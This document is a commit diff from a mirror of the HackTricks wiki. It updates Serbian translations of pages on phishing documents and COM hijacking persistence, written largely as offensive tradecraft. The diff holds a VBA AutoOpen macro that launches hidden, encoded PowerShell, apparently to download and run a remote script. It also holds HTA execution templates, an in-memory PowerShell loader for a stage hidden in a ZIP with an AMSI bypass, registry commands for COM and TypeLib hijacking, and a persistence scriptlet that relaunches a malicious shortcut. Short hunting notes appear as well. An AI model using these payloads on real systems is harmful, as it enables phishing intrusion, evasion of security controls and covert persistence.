mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
dc8ec5aa83
commit
9656fc54d4
@ -1,40 +1,40 @@
|
||||
# Phishing Files & Documents
|
||||
# Phishing Fajlovi & Dokumenti
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Documents
|
||||
## Office Dokumenti
|
||||
|
||||
Microsoft Word vrši validaciju podataka datoteke pre otvaranja datoteke. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do greške tokom identifikacije strukture podataka, datoteka koja se analizira neće biti otvorena.
|
||||
Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija podataka se izvodi u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se pojavi bilo koja greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
|
||||
|
||||
Obično, Word datoteke koje sadrže makroe koriste `.docm` ekstenziju. Međutim, moguće je preimenovati datoteku promenom ekstenzije datoteke i i dalje zadržati mogućnosti izvršavanja makroa.\
|
||||
Na primer, RTF datoteka ne podržava makroe, po dizajnu, ali DOCM datoteka preimenovana u RTF biće obrađena od strane Microsoft Word-a i biće sposobna za izvršavanje makroa.\
|
||||
Iste unutrašnje strukture i mehanizmi se primenjuju na sve softvere iz Microsoft Office Suite (Excel, PowerPoint itd.).
|
||||
Uobičajeno, Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl menjajući ekstenziju i i dalje zadržati mogućnost izvršavanja makroa.\
|
||||
Na primer, RTF fajl po dizajnu ne podržava makroe, ali DOCM fajl preimenovan u RTF biće tretiran od strane Microsoft Worda i biće sposoban za izvršavanje makroa.\
|
||||
Ista interna struktura i mehanizmi važe za sav softver iz Microsoft Office Suite-a (Excel, PowerPoint itd.).
|
||||
|
||||
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršene od strane nekih Office programa:
|
||||
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX datoteke koje se pozivaju na udaljeni šablon (Datoteka – Opcije – Dodaci – Upravljanje: Šabloni – Idi) koji uključuje makroe mogu takođe “izvršavati” makroe.
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### Učitavanje spoljne slike
|
||||
### External Image Load
|
||||
|
||||
Idite na: _Umetni --> Brzi delovi --> Polje_\
|
||||
_**Kategorije**: Linkovi i reference, **Nazivi polja**: includePicture, i **Naziv datoteke ili URL**:_ http://\<ip>/whatever
|
||||
Idite na: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Makro zadnja vrata
|
||||
### Macros Backdoor
|
||||
|
||||
Moguće je koristiti makroe za pokretanje proizvoljnog koda iz dokumenta.
|
||||
Moguće je koristiti makroe da biste pokrenuli proizvoljni kod iz dokumenta.
|
||||
|
||||
#### Autoload funkcije
|
||||
#### Autoload functions
|
||||
|
||||
Što su češće, to je verovatnije da će ih AV otkriti.
|
||||
Što su češće, to je verovatnije da će ih AV detektovati.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Primeri koda makroa
|
||||
#### Macros Code Examples
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Ručno uklonite metapodatke
|
||||
#### Manually remove metadata
|
||||
|
||||
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite na **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
|
||||
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
|
||||
|
||||
#### Doc Ekstenzija
|
||||
#### Doc Extension
|
||||
|
||||
Kada završite, odaberite **Save as type** padajući meni, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||
Uradite to jer **ne možete sačuvati makroe unutar `.docx`** i postoji **stigma** **oko** makro-omogućene **`.docm`** ekstenzije (npr. ikona sličice ima ogromnu `!` i neki web/email prolazi ih potpuno blokiraju). Stoga, ova **legacy `.doc` ekstenzija je najbolje rešenje**.
|
||||
Kada završite, izaberite padajući meni **Save as type**, promenite format iz **`.docx`** u **Word 97-2003 `.doc`**.\
|
||||
Radite to zato što **you can't save macro's inside a `.docx`** i postoji stigma oko macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima veliki `!` i neki web/email gateway blokiraju ih u potpunosti). Stoga je ova nasleđena `.doc` ekstenzija najbolji kompromis.
|
||||
|
||||
#### Maliciozni Generatori Makroa
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA Fajlovi
|
||||
## HTA Files
|
||||
|
||||
HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "potpuno poverljiva" aplikacija, bez ograničenja sigurnosnog modela pretraživača.
|
||||
HTA je Windows program koji **combines HTML and scripting languages (such as VBScript and JScript)**. On generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača.
|
||||
|
||||
HTA se izvršava koristeći **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, čineći **`mshta` zavisnim od IE**. Dakle, ako je deinstaliran, HTA neće moći da se izvrši.
|
||||
HTA se izvršava pomoću **`mshta.exe`**, koji je tipično **installed** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Prisiljavanje NTLM autentifikacije
|
||||
## Forsiranje NTLM autentifikacije
|
||||
|
||||
Postoji nekoliko načina da se **prisilite NTLM autentifikacija "na daljinu"**, na primer, možete dodati **nevidljive slike** u e-mailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili pošaljite žrtvi **adresu fajlova** koji će **pokrenuti** **autentifikaciju** samo za **otvaranje fascikle.**
|
||||
Postoji nekoliko načina da se **forsira NTLM autentifikacija "na daljinu"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem mape.
|
||||
|
||||
**Proverite ove ideje i još više na sledećim stranicama:**
|
||||
**Pogledajte ove ideje i još više na sledećim stranicama:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -154,11 +154,62 @@ Postoji nekoliko načina da se **prisilite NTLM autentifikacija "na daljinu"**,
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
### NTLM Preusmeravanje
|
||||
### NTLM Relay
|
||||
|
||||
Ne zaboravite da ne možete samo ukrasti hash ili autentifikaciju, već i **izvršiti NTLM preusmeravajuće napade**:
|
||||
Ne zaboravite da pored krađe heša ili autentifikacije možete i **perform NTLM relay attacks**:
|
||||
|
||||
- [**NTLM preusmeravajući napadi**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM preusmeravanje na sertifikate)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Veoma efikasne kampanje isporučuju ZIP koji sadrži dva legitimna mamca dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvaja i izvršava potpuno u memoriji.
|
||||
|
||||
Tipični tok koji implementira .lnk PowerShell one-liner:
|
||||
|
||||
1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditelj trenutnog radnog direktorijuma.
|
||||
2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve nakon markera je ugrađeni PowerShell payload.
|
||||
3) Kopiraj ZIP u %ProgramData%, raspakuj tamo i otvori mamac .docx da bi izgledalo legitimno.
|
||||
4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuskuj narednu fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji.
|
||||
|
||||
Primer PowerShell skeleta za izdvajanje i pokretanje ugrađene faze:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
|
||||
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
|
||||
)
|
||||
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
|
||||
if(-not $zip){ return }
|
||||
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
|
||||
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
|
||||
if($idx -lt 0){ return }
|
||||
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
|
||||
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Napomene
|
||||
- Delivery često zloupotrebljava pouzdane PaaS poddomene (npr. *.herokuapp.com) i može ograničiti pristup payloads (servira benign ZIP-ove na osnovu IP/UA).
|
||||
- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi minimalizovala tragove na disku.
|
||||
|
||||
Persistence korišćena u istom lancu
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugradjuje automatski ponovo pokrene payload. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
|
||||
- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara lažni dokument.
|
||||
- AMSI manipulacija putem [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Dugotrajni poslovni thread-ovi koji se završavaju linkovima hostovanim pod pouzdanim PaaS domenima.
|
||||
|
||||
## References
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Pretraživanje nepostojećih COM komponenti
|
||||
### Pretraga nepostojećih COM komponenti
|
||||
|
||||
Kako se vrednosti HKCU mogu menjati od strane korisnika, **COM Hijacking** se može koristiti kao **perzistentni mehanizam**. Koristeći `procmon`, lako je pronaći pretraživane COM registre koji ne postoje, a koje napadač može kreirati da bi postigao perzistenciju. Filteri:
|
||||
Pošto korisnici mogu menjati vrednosti HKCU, **COM Hijacking** može biti iskorišćen kao **mehanizam za perzistenciju**. Koristeći `procmon` lako je pronaći tražene COM registries koje ne postoje, a koje napadač može kreirati da bi ostvario perzistenciju. Filteri:
|
||||
|
||||
- **RegOpenKey** operacije.
|
||||
- gde je _Rezultat_ **IME NIJE PRONAĐENO**.
|
||||
- i _Putanja_ se završava sa **InprocServer32**.
|
||||
- gde je _Result_ **NAME NOT FOUND**.
|
||||
- i da _Path_ završava sa **InprocServer32**.
|
||||
|
||||
Kada odlučite koju nepostojeću COM komponentu da imituјete, izvršite sledeće komande. _Budite oprezni ako odlučite da imituјete COM koji se učitava svake nekoliko sekundi, jer to može biti prekomerno._
|
||||
Kada odlučite koji nepostojeći COM ćete oponašati, izvršite sledeće komande. _Budite pažljivi ako odlučite da oponašate COM koji se učitava svakih nekoliko sekundi, jer to može biti previše._
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
@ -18,9 +18,9 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
|
||||
```
|
||||
### Hijackable Task Scheduler COM components
|
||||
|
||||
Windows Tasks koriste prilagođene okidače za pozivanje COM objekata i pošto se izvršavaju putem Task Scheduler-a, lakše je predvideti kada će biti aktivirani.
|
||||
Windows Tasks koriste Custom Triggers za pozivanje COM objects, i pošto se izvršavaju preko Task Scheduler-a, lakše je predvideti kada će biti pokrenuti.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Prikaži COM CLSIDs
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
|
||||
foreach ($Task in $Tasks)
|
||||
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
|
||||
|
||||
if ($Task.Principal.GroupId -eq $usersGroup)
|
||||
{
|
||||
Write-Host "Ime zadatka: " $Task.TaskName
|
||||
Write-Host "Putanja zadatka: " $Task.TaskPath
|
||||
Write-Host "Task Name: " $Task.TaskName
|
||||
Write-Host "Task Path: " $Task.TaskPath
|
||||
Write-Host "CLSID: " $Task.Actions.ClassId
|
||||
Write-Host
|
||||
}
|
||||
@ -43,15 +43,15 @@ Write-Host
|
||||
}
|
||||
}
|
||||
|
||||
# Uzorak izlaza:
|
||||
<strong># Ime zadatka: Primer
|
||||
</strong># Putanja zadatka: \Microsoft\Windows\Primer\
|
||||
# Sample Output:
|
||||
<strong># Task Name: Example
|
||||
</strong># Task Path: \Microsoft\Windows\Example\
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [više poput prethodnog...]</code></pre>
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
Proverom izlaza možete odabrati jedan koji će biti izvršen **svaki put kada se korisnik prijavi** na primer.
|
||||
Proverom izlaza možete izabrati onaj koji će, na primer, biti izvršen **svaki put kada se korisnik prijavi**.
|
||||
|
||||
Sada pretražujući CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete otkriti da vrednost ne postoji u HKCU.
|
||||
Sada, pretražujući CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete utvrditi da vrednost ne postoji u HKCU.
|
||||
```bash
|
||||
# Exists in HKCR\CLSID\
|
||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||
@ -72,6 +72,64 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
Zatim, možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaša backdoor će se aktivirati.
|
||||
Zatim možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaš backdoor će biti pokrenut.
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Type Libraries (TypeLib) definišu COM interfejse i učitavaju se preko `LoadTypeLib()`. Kada se COM server instancira, OS može učitati i pridruženi TypeLib konsultujući registry ključeve pod `HKCR\TypeLib\{LIBID}`. Ako se putanja TypeLib-a zameni sa **moniker**, npr. `script:C:\...\evil.sct`, Windows će izvršiti scriptlet kada se TypeLib razreši — što rezultira stealthy persistence koja se aktivira kada se dodirnu uobičajene komponente.
|
||||
|
||||
Ovo je primećeno protiv Microsoft Web Browser control (često učitavan od Internet Explorer, aplikacija koje ugrađuju WebBrowser, pa čak i `explorer.exe`).
|
||||
|
||||
### Koraci (PowerShell)
|
||||
|
||||
1) Pronađite TypeLib (LIBID) koji koristi CLSID koji se često pojavljuje. Primer CLSID koji malware chains često zloupotrebljavaju: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) Усмерите per-user TypeLib путању на локални scriptlet користећи `script:` moniker (нису потребна администраторска права):
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) Postavite minimalni JScript `.sct` koji ponovo pokreće vaš primarni payload (npr. `.lnk` koji se koristi u početnom lancu):
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
try {
|
||||
var sh = new ActiveXObject('WScript.Shell');
|
||||
// Re-launch the malicious LNK for persistence
|
||||
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
|
||||
sh.Run(cmd, 0, false);
|
||||
} catch(e) {}
|
||||
]]>
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) Aktiviranje – otvaranjem IE, aplikacije koja ugrađuje WebBrowser control, ili čak rutinskom aktivnošću Explorera učitaće se TypeLib i izvršiće se scriptlet, ponovo naoružavajući vaš lanac prilikom prijave/ponovnog pokretanja.
|
||||
|
||||
Čišćenje
|
||||
```powershell
|
||||
# Remove the per-user TypeLib hijack
|
||||
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
|
||||
# Delete the dropped scriptlet
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
Napomene
|
||||
- Istu logiku možete primeniti na druge često korišćene COM komponente; uvek prvo odredite stvarni `LIBID` iz `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Na 64-bitnim sistemima možete takođe popuniti podključ `win64` za 64-bitne aplikacije.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user